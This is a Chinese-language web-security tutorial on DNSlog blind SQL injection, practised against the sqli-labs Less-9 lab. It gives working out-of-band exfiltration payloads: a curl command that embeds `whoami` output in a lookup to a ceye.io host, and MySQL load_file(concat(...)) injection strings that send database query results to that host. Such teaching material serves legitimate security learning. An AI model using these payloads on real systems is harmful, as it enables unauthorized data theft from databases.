一步一步学习 Web 安全 2.8 DNSlog 盲注

原理

可能有人对 DNSlog 比较陌生,先简单说一下 DNS,想深入了解的可以跳转到 DNS 原理入门 进行学习。

DNS

DNS 就是把域名转成 IP 地址。

在我们访问服务器时,比如在浏览器输入:www.google.com,『www.google.com』被叫做域名,域名是为了方便人类记忆,每一个域名都对应一个 IP 地址,机器通过 IP 地址找到服务器。

log

log 是日志的意思,DNSlog 就是 DNS 解析过程中产生的一些记录,我们可以通过 log 制造显位。

DNSlog

DNSlog 盲注比其他盲注效率更高,不需要一遍遍根据真假判断,直接输入查询语句就可以获取数据,也不需要在页面上有显位。

直接上手体验一下:
打开 ceye ,注册账号后进入 http://ceye.io/profile, 复制 Identifier 那一行对应的地址,比如我的是:o0xqgs.ceye.io
然后打开命令行使用 curl 命令:curl o0xqgs.ceye.io,可以看到返回了一个 json 对象,然后打开 http://ceye.io/records/dns,刷新一下,可以看到页面多了几条记录,就是我们刚刚那条命令所产生的。
在地址前随便加上什么:curl dns.o0xqgs.ceye.io,再刷新页面,可以看到也显示在页面上了
接着使用一条查询命令:`whoami`,这是一条查询当前用户的命令,命令行输入:curl `whoami`.o0xqgs.ceye.io,刷新页面,可以看到自己的用户名显示在前面,http://ceye.io/records/http 页面也可以看到
这样我们就通过 DNSlog 拿到了数据

DNSlog 盲注

MySQL 中 load_file() 函数可以发起请求,把 SQL 查询语句像上面的 whoami 一样,做为请求的一部分发送,然后在 DNSlog 得到回显的数据:

# abc 表示文件名,存不存在并没有关系,只要向你的地址发起请求即可
load_file(concat('\\\\',(select database()),'.mysql.o0xqgs.ceye.io\\abc'))

把 『select database()』替换成其他查询语句,就可以获取其他数据。
需要注意的是,这些数据格式和内容都有限制,需要进行一些处理,比如不能出现『~、@、:』等一些特殊符号,而且这个请求函数只能在 Windows 操作系统上执行。

练习

sqli-labs 的 less-9:

  1. 注入判断
    url 后输入 id:?/id=1,页面返回:you are in
    输入:?id=1',页面返回:you are in
    输入:?id=1' and '1'='1,页面返回:you are in
    输入:?id=1' and '1'='2,页面返回:you are in
    不管什么情况页面返回的都是 you are in,不过这次不用时间盲注,用 DNSlog 盲注

  2. 获取数据
    输入:?id=1' and load_file(concat('\\',(select database()),'.o0xqgs.ceye.io\\abc')) --+
    刷新页面,可以看到当前数据库名显示出来了,把上面的 『select database()』换成前面章节获取数据的查询语句就可以获取到我们要的数据了。

你可能感兴趣的:(一步一步学习 Web 安全 2.8 DNSlog 盲注)